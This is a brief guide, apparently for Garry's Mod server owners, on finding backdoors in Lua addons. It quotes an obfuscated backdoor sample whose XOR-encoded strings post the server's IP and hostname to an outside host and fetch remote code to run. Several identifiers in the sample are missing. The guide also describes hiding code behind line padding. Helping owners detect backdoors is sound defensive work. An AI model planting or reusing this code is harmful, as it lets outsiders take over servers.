backdoors

Try to look for STEAMIDs and code like this:
local = _G local = ['\115\116\114\105\110\103'] local = ['\98\105\116']['\98\120\111\114'] local function () if ['\108\101\110']() == 0 then return end local = '' for _ in ['\103\109\97\116\99\104'](,'\46\46') do =..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_,16),227)) end return end ['978a8e8691']['b08a8e938f86'](5,function ()['8b979793']['b38c9097']('8b97979390d9cccc978c8f84828187cdd3d3d39486818b8c9097829393cd808c8ecc8f8c8490cc9782888a93cd938b93',{['80']=['848e8c87']['a48697a4828e868e8c8786']()['ad828e86'],['86']=['84828e86']['a48697aab3a2878791869090'](),['87']=['a48697ab8c9097ad828e86']()})end )['978a8e8691']['b08a8e938f86'](5,function ()['8b979793']['a58697808b']('8b97979390d9cccc978c8f84828187cdd3d3d39486818b8c9097829393cd808c8ecc81829086cd8f9682',function (repeat)['b1968db097918a8d84'](repeat)end ,nil )end )

Backdoors can be hidden too! Look at this example:
- - - - - - - - - - - [backdoor here]
[code here]
This makes the backdoor not seen when you first open the file so you need to "scroll" to the end of every line to see if there is anything hidden.
Or you can use a backdoor scanner which is really good that you get with Crident servers (you can get a 24hour trial)